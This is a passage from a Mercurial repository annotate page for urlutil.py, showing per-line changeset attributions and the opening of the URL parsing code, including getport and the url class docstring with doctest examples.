Mercurial > public > mercurial-scm > hg
annotate mercurial/utils/urlutil.py @ 48946:642e31cb55f0
py3: use class X: instead of class X(object):
The inheritance from object is implied in Python 3. So this should
be equivalent.
This change was generated via an automated search and replace. So there
may have been some accidental changes.
Differential Revision: https://phab.mercurial-scm.org/D12352
author | Gregory Szorc <gregory.szorc@gmail.com> |
---|---|
date | Mon, 21 Feb 2022 13:08:28 -0700 |
parents | f254fc73d956 |
children | dd62eb4d2ea5 bc59c1e5dd01 |
rev | line source |
---|---|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
1 # utils.urlutil - code related to [paths] management |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
2 # |
48743 | 3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
4 # |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
5 # This software may be used and distributed according to the terms of the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
6 # GNU General Public License version 2 or any later version. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
7 import os |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
8 import re as remod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
9 import socket |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
10 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
11 from ..i18n import _ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
12 from ..pycompat import ( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
13 getattr, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
14 setattr, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
15 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
16 from .. import ( |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
17 encoding, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
18 error, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
19 pycompat, |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
20 urllibcompat, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
21 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
22 |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
23 from . import ( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
24 stringutil, |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
25 ) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
26 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
27 |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
28 if pycompat.TYPE_CHECKING: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
29 from typing import ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
30 Union, |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
31 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
32 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
33 urlreq = urllibcompat.urlreq |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
34 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
35 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
36 def getport(port): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
37 # type: (Union[bytes, int]) -> int |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
38 """Return the port for a given network service. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
39 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
40 If port is an integer, it's returned as is. If it's a string, it's |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
41 looked up using socket.getservbyname(). If there's no matching |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
42 service, error.Abort is raised. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
43 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
44 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
45 return int(port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
46 except ValueError: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
47 pass |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
48 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
49 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
50 return socket.getservbyname(pycompat.sysstr(port)) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
51 except socket.error: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
52 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
53 _(b"no port number associated with service '%s'") % port |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
54 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
55 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
56 |
48946
642e31cb55f0
py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48913
diff
changeset
|
57 class url: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
58 r"""Reliable URL parser. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
59 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
60 This parses URLs and provides attributes for the following |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
61 components: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
62 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
64 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
65 Missing components are set to None. The only exception is |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
66 fragment, which is set to '' if present but empty. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
67 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
68 If parsefragment is False, fragment is included in query. If |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
69 parsequery is False, query is included in path. If both are |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
70 False, both fragment and query are included in path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
71 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
72 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
73 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
74 Note that for backward compatibility reasons, bundle URLs do not |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
75 take host names. That means 'bundle://../' has a path of '../'. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
76 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
77 Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
78 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
81 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
83 >>> url(b'file:///home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
84 <url scheme: 'file', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
85 >>> url(b'file:///c:/temp/foo/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
86 <url scheme: 'file', path: 'c:/temp/foo/'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
87 >>> url(b'bundle:foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
88 <url scheme: 'bundle', path: 'foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
89 >>> url(b'bundle://../foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
90 <url scheme: 'bundle', path: '../foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
91 >>> url(br'c:\foo\bar') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
92 <url path: 'c:\\foo\\bar'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
93 >>> url(br'\\blah\blah\blah') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
94 <url path: '\\\\blah\\blah\\blah'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
95 >>> url(br'\\blah\blah\blah#baz') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
97 >>> url(br'file:///C:\users\me') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
98 <url scheme: 'file', path: 'C:\\users\\me'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
99 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
100 Authentication credentials: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
101 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
102 >>> url(b'ssh://joe:xyz@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
104 >>> url(b'ssh://joe@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
106 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
107 Query strings and fragments: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
108 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
109 >>> url(b'http://host/a?b#c') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
112 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
113 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
114 Empty path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
115 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
116 >>> url(b'') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
117 <url path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
118 >>> url(b'#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
119 <url path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
120 >>> url(b'http://host/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
121 <url scheme: 'http', host: 'host', path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
122 >>> url(b'http://host/#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
124 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
125 Only scheme: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
126 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
127 >>> url(b'http:') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
128 <url scheme: 'http'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
129 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
130 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
131 _safechars = b"!~*'()+" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
132 _safepchars = b"/!~*'()+:\\" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
134 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
135 def __init__(self, path, parsequery=True, parsefragment=True): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
136 # type: (bytes, bool, bool) -> None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
137 # We slowly chomp away at path until we have only the path left |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
138 self.scheme = self.user = self.passwd = self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
139 self.port = self.path = self.query = self.fragment = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
140 self._localpath = True |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
141 self._hostport = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
142 self._origpath = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
143 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
144 if parsefragment and b'#' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
145 path, self.fragment = path.split(b'#', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
146 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
147 # special case for Windows drive letters and UNC paths |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
148 if hasdriveletter(path) or path.startswith(b'\\\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
149 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
150 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
151 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
152 # For compatibility reasons, we can't handle bundle paths as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
153 # normal URLS |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
154 if path.startswith(b'bundle:'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
155 self.scheme = b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
156 path = path[7:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
157 if path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
158 path = path[2:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
159 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
160 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
161 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
162 if self._matchscheme(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
163 parts = path.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
164 if parts[0]: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
165 self.scheme, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
166 self._localpath = False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
167 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
168 if not path: |
